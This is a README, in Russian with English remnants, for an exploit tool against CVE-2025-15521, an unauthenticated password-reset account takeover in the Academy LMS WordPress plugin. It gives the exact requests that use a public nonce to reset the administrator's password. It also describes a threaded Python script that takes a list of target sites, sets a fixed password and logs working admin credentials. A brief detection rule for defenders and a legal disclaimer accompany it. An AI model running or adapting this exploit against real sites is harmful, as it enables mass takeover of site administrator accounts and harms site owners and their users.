
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress уязвим для повышения привилегий через захват учетной записи во всех версиях до 3.5.0 включительно.
Плагин Academy LMS – WordPress LMS Plugin для полного решения для электронного обучения для WordPress уязвим к повышению привилегий через захват учетной записи во всех версиях до и включая 3.5.0.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Подписывайтесь на @KNxploited — раскрытия CVE и рабочие эксплойты без задержек.
CVE-2025-15521 — неаутентифицированный захват учетной записи через сброс пароля в Academy LMS ≤ 3.5.0.
Обработчик сброса плагина аутентифицирует запрос, используя только публично доступный nonce (academy_nonce), встроенный на страницы курсов. Токен не отправляется на почту пользователя. Нет проверки сессии. Нет подтверждения личности. Злоумышленник, который просматривает любую страницу курса, получает валидный nonce, а затем сбрасывает пароль любой учетной записи, указав user_id — включая user_id=1 (администратор сайта).
CVSS 3.1: 9.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML содержит: "academy_nonce": "a1b2c3d4e5" ← публичный, без аутентификации
POST /academy-retrieve-password/?user_id=1
new_password=<что-угодно>
confirm_new_password=<что-угодно>
security=a1b2c3d4e5 ← nonce принят
→ Пароль для user_id=1 изменен. Без письма. Без подтверждения.
Обработчик вызывает wp_set_password() после проверки только wp_verify_nonce() для nonce, который транслируется каждому посетителю. Нет проверки, что запрашивающий пользователь владеет изменяемой учетной записью.
academy_nonceuser_id с выбранным паролем/?author=N и REST API (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — а не просто ответ 200pip install requests colorama urllib3
Требуется Python 3.8+. Рекомендуется Python 3.10+.
python CVE-2025-15521.py
Вас попросят ввести:
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
Файл целей — один URL на строку, схема необязательна:
https://target1.com
target2.com
https://target3.com/lms
Терминал — одна строка на цель, учетные данные не выводятся:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
Файл — только подтвержденные записи доступа:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
Для защитников:
Заблокируйте или отслеживайте неаутентифицированные POST-запросы к конечной точке сброса:
POST *academy-retrieve-password* с параметром: security=
Проверьте наличие rm_admin_order / academy_nonce в исходном коде страницы курса вашей темы. Если nonce виден без входа — ваша версия уязвима.
Немедленные шаги по исправлению:
Этот инструмент предназначен только для авторизованных исследований безопасности и тестирования на проникновение. Запускайте его только на системах, которые вам принадлежат, или на которые у вас есть явное письменное разрешение на тестирование. Автор не несет ответственности за несанкционированное или незаконное использование. Несанкционированное использование нарушает CFAA, CMA, Директиву ЕС 2013/40/EU, Закон Саудовской Аравии о борьбе с киберпреступностью № M/17 и аналогичные законы по всему миру.
By Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Подписывайтесь на @KNxploited в Telegram, чтобы получать последние CVE и релизы эксплойтов.